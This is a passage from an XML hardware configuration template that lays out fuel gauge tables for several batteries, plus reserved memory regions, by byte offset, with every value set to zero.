offset="09E4"> <data>00000000</data> </hdr_node> <hdr_node name="Data9" byte_cnt="04" offset="09E8"> <data>00000000</data> </hdr_node> <hdr_node name="Data10" byte_cnt="04" offset="09EC"> <data>00000000</data> </hdr_node> <hdr_node name="Data11" byte_cnt="04" offset="09F0"> <data>00000000</data> </hdr_node> <hdr_node name="Data12" byte_cnt="04" offset="09F4"> <data>00000000</data> </hdr_node> <hdr_node name="Data13" byte_cnt="04" offset="09F8"> <data>00000000</data> </hdr_node> <hdr_node name="Data14" byte_cnt="04" offset="09FC"> <data>00000000</data> </hdr_node> <hdr_node name="Data15" byte_cnt="04" offset="0A00"> <data>00000000</data> </hdr_node> <hdr_node name="Data16" byte_cnt="04" offset="0A04"> <data>00000000</data> </hdr_node> <hdr_node name="Data17" byte_cnt="04" offset="0A08"> <data>00000000</data> </hdr_node> <hdr_node name="Data18" byte_cnt="04" offset="0A0C"> <data>00000000</data> </hdr_node> <hdr_node name="Data19" byte_cnt="04" offset="0A10"> <data>00000000</data> </hdr_node> <hdr_node name="Data20" byte_cnt="04" offset="0A14"> <data>00000000</data> </hdr_node> <hdr_node name="Data21" byte_cnt="04" offset="0A18"> <data>00000000</data> </hdr_node> <hdr_node name="Data22" byte_cnt="04" offset="0A1C"> <data>00000000</data> </hdr_node> <hdr_node name="Data23" byte_cnt="04" offset="0A20"> <data>00000000</data> </hdr_node> <hdr_node name="Data24" byte_cnt="04" offset="0A24"> <data>00000000</data> </hdr_node> <hdr_node name="Data25" byte_cnt="04" offset="0A28"> <data>00000000</data> </hdr_node> <hdr_node name="Data26" byte_cnt="04" offset="0A2C"> <data>00000000</data> </hdr_node> <hdr_node name="Data27" byte_cnt="04" offset="0A30"> <data>00000000</data> </hdr_node> <hdr_node name="Data28" byte_cnt="04" offset="0A34"> <data>00000000</data> </hdr_node> <hdr_node name="Data29" byte_cnt="04" offset="0A38"> <data>00000000</data> </hdr_node> <hdr_node name="Data30" byte_cnt="04" offset="0A3C"> <data>00000000</data> </hdr_node> <hdr_node name="Data31" byte_cnt="04" offset="0A40"> <data>00000000</data> </hdr_node> <hdr_node name="Data32" byte_cnt="03" offset="0A44"> <data>000000</data> </hdr_node> <!-- END Fuel Guage Table (Batt 3) --> <!-- BEGIN Fuel Guage Table (Batt 4) --> <hdr_node name="Revision (Major, Minor)" byte_cnt="02" offset="0A47"> <data>0000</data> </hdr_node> <hdr_node name="Table Name" byte_cnt="04" offset="0A49"> <data>00000000</data> </hdr_node> <hdr_node name="Battery ID lower" byte_cnt="04" offset="0A4D"> <data>00000000</data> </hdr_node> <hdr_node name="Battery ID upper" byte_cnt="04" offset="0A51"> <data>00000000</data> </hdr_node> <hdr_node name="Size (in bytes including header)" byte_cnt="02" offset="0A55"> <data>0090</data> </hdr_node> <hdr_node name="FG Table Type (0=Charge vs VBatt; 1=RBatt vs Temp; 2=Vendor Specific)" byte_cnt="01" offset="0A57"> <data>00</data> </hdr_node> <hdr_node name="Reserved 0A58" byte_cnt="01" offset="0A58"> <data>00</data> </hdr_node> <hdr_node name="Data1" byte_cnt="03" offset="0A59"> <data>000000</data> </hdr_node> <hdr_node name="Data2" byte_cnt="04" offset="0A5C"> <data>00000000</data> </hdr_node> <hdr_node name="Data3" byte_cnt="04" offset="0A60"> <data>00000000</data> </hdr_node> <hdr_node name="Data4" byte_cnt="04" offset="0A64"> <data>00000000</data> </hdr_node> <hdr_node name="Data5" byte_cnt="04" offset="0A68"> <data>00000000</data> </hdr_node> <hdr_node name="Data6" byte_cnt="04" offset="0A6C"> <data>00000000</data> </hdr_node> <hdr_node name="Data7" byte_cnt="04" offset="0A70"> <data>00000000</data> </hdr_node> <hdr_node name="Data8" byte_cnt="04" offset="0A74"> <data>00000000</data> </hdr_node> <hdr_node name="Data9" byte_cnt="04" offset="0A78"> <data>00000000</data> </hdr_node> <hdr_node name="Data10" byte_cnt="04" offset="0A7C"> <data>00000000</data> </hdr_node> <hdr_node name="Data11" byte_cnt="04" offset="0A80"> <data>00000000</data> </hdr_node> <hdr_node name="Data12" byte_cnt="04" offset="0A84"> <data>00000000</data> </hdr_node> <hdr_node name="Data13" byte_cnt="04" offset="0A88"> <data>00000000</data> </hdr_node> <hdr_node name="Data14" byte_cnt="04" offset="0A8C"> <data>00000000</data> </hdr_node> <hdr_node name="Data15" byte_cnt="04" offset="0A90"> <data>00000000</data> </hdr_node> <hdr_node name="Data16" byte_cnt="04" offset="0A94"> <data>00000000</data> </hdr_node> <hdr_node name="Data17" byte_cnt="04" offset="0A98"> <data>00000000</data> </hdr_node> <hdr_node name="Data18" byte_cnt="04" offset="0A9C"> <data>00000000</data> </hdr_node> <hdr_node name="Data19" byte_cnt="04" offset="0AA0"> <data>00000000</data> </hdr_node> <hdr_node name="Data20" byte_cnt="04" offset="0AA4"> <data>00000000</data> </hdr_node> <hdr_node name="Data21" byte_cnt="04" offset="0AA8"> <data>00000000</data> </hdr_node> <hdr_node name="Data22" byte_cnt="04" offset="0AAC"> <data>00000000</data> </hdr_node> <hdr_node name="Data23" byte_cnt="04" offset="0AB0"> <data>00000000</data> </hdr_node> <hdr_node name="Data24" byte_cnt="04" offset="0AB4"> <data>00000000</data> </hdr_node> <hdr_node name="Data25" byte_cnt="04" offset="0AB8"> <data>00000000</data> </hdr_node> <hdr_node name="Data26" byte_cnt="04" offset="0ABC"> <data>00000000</data> </hdr_node> <hdr_node name="Data27" byte_cnt="04" offset="0AC0"> <data>00000000</data> </hdr_node> <hdr_node name="Data28" byte_cnt="04" offset="0AC4"> <data>00000000</data> </hdr_node> <hdr_node name="Data29" byte_cnt="04" offset="0AC8"> <data>00000000</data> </hdr_node> <hdr_node name="Data30" byte_cnt="04" offset="0ACC"> <data>00000000</data> </hdr_node> <hdr_node name="Data31" byte_cnt="04" offset="0AD0"> <data>00000000</data> </hdr_node> <hdr_node name="Data32" byte_cnt="03" offset="0AD4"> <data>000000</data> </hdr_node> <!-- END Fuel Guage Table (Batt 4) --> <!-- BEGIN Fuel Guage Table (Batt 5) --> <hdr_node name="Revision (Major, Minor)" byte_cnt="02" offset="0AD7"> <data>0000</data> </hdr_node> <hdr_node name="Table Name" byte_cnt="04" offset="0AD9"> <data>00000000</data> </hdr_node> <hdr_node name="Battery ID lower" byte_cnt="04" offset="0ADD"> <data>00000000</data> </hdr_node> <hdr_node name="Battery ID upper" byte_cnt="04" offset="0AE1"> <data>00000000</data> </hdr_node> <hdr_node name="Size (in bytes including header)" byte_cnt="02" offset="0AE5"> <data>0090</data> </hdr_node> <hdr_node name="FG Table Type (0=Charge vs VBatt; 1=RBatt vs Temp; 2=Vendor Specific)" byte_cnt="01" offset="0AE7"> <data>00</data> </hdr_node> <hdr_node name="Reserved 0AE8" byte_cnt="01" offset="0AE8"> <data>00</data> </hdr_node> <hdr_node name="Data1" byte_cnt="03" offset="0AE9"> <data>000000</data> </hdr_node> <hdr_node name="Data2" byte_cnt="04" offset="0AEC"> <data>00000000</data> </hdr_node> <hdr_node name="Data3" byte_cnt="04" offset="0AF0"> <data>00000000</data> </hdr_node> <hdr_node name="Data4" byte_cnt="04" offset="0AF4"> <data>00000000</data> </hdr_node> <hdr_node name="Data5" byte_cnt="04" offset="0AF8"> <data>00000000</data> </hdr_node> <hdr_node name="Data6" byte_cnt="04" offset="0AFC"> <data>00000000</data> </hdr_node> <hdr_node name="Data7" byte_cnt="04" offset="0B00"> <data>00000000</data> </hdr_node> <hdr_node name="Data8" byte_cnt="04" offset="0B04"> <data>00000000</data> </hdr_node> <hdr_node name="Data9" byte_cnt="04" offset="0B08"> <data>00000000</data> </hdr_node> <hdr_node name="Data10" byte_cnt="04" offset="0B0C"> <data>00000000</data> </hdr_node> <hdr_node name="Data11" byte_cnt="04" offset="0B10"> <data>00000000</data> </hdr_node> <hdr_node name="Data12" byte_cnt="04" offset="0B14"> <data>00000000</data> </hdr_node> <hdr_node name="Data13" byte_cnt="04" offset="0B18"> <data>00000000</data> </hdr_node> <hdr_node name="Data14" byte_cnt="04" offset="0B1C"> <data>00000000</data> </hdr_node> <hdr_node name="Data15" byte_cnt="04" offset="0B20"> <data>00000000</data> </hdr_node> <hdr_node name="Data16" byte_cnt="04" offset="0B24"> <data>00000000</data> </hdr_node> <hdr_node name="Data17" byte_cnt="04" offset="0B28"> <data>00000000</data> </hdr_node> <hdr_node name="Data18" byte_cnt="04" offset="0B2C"> <data>00000000</data> </hdr_node> <hdr_node name="Data19" byte_cnt="04" offset="0B30"> <data>00000000</data> </hdr_node> <hdr_node name="Data20" byte_cnt="04" offset="0B34"> <data>00000000</data> </hdr_node> <hdr_node name="Data21" byte_cnt="04" offset="0B38"> <data>00000000</data> </hdr_node> <hdr_node name="Data22" byte_cnt="04" offset="0B3C"> <data>00000000</data> </hdr_node> <hdr_node name="Data23" byte_cnt="04" offset="0B40"> <data>00000000</data> </hdr_node> <hdr_node name="Data24" byte_cnt="04" offset="0B44"> <data>00000000</data> </hdr_node> <hdr_node name="Data25" byte_cnt="04" offset="0B48"> <data>00000000</data> </hdr_node> <hdr_node name="Data26" byte_cnt="04" offset="0B4C"> <data>00000000</data> </hdr_node> <hdr_node name="Data27" byte_cnt="04" offset="0B50"> <data>00000000</data> </hdr_node> <hdr_node name="Data28" byte_cnt="04" offset="0B54"> <data>00000000</data> </hdr_node> <hdr_node name="Data29" byte_cnt="04" offset="0B58"> <data>00000000</data> </hdr_node> <hdr_node name="Data30" byte_cnt="04" offset="0B5C"> <data>00000000</data> </hdr_node> <hdr_node name="Data31" byte_cnt="04" offset="0B60"> <data>00000000</data> </hdr_node> <hdr_node name="Data32" byte_cnt="03" offset="0B64"> <data>000000</data> </hdr_node> <!-- END Fuel Guage Table (Batt 5) --> <!-- END Configuration Data --> <!-- BEGIN Reserved --> <hdr_node name="Reserved" byte_cnt="153" offset="0B67"> <data>000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000</data> </hdr_node> <!-- END Reserved --> <!-- END Energy Management Data block - EMDB (1KB) 0x800 thru 0xBFF--> <!-- BEGIN Reserved --> <hdr_node name="Reserved" byte_cnt="9216" offset="0C00"> <data>000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000</data> </hdr_node> <hdr_node name="Reserved" byte_cnt="12288" offset="3000"> <data>0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000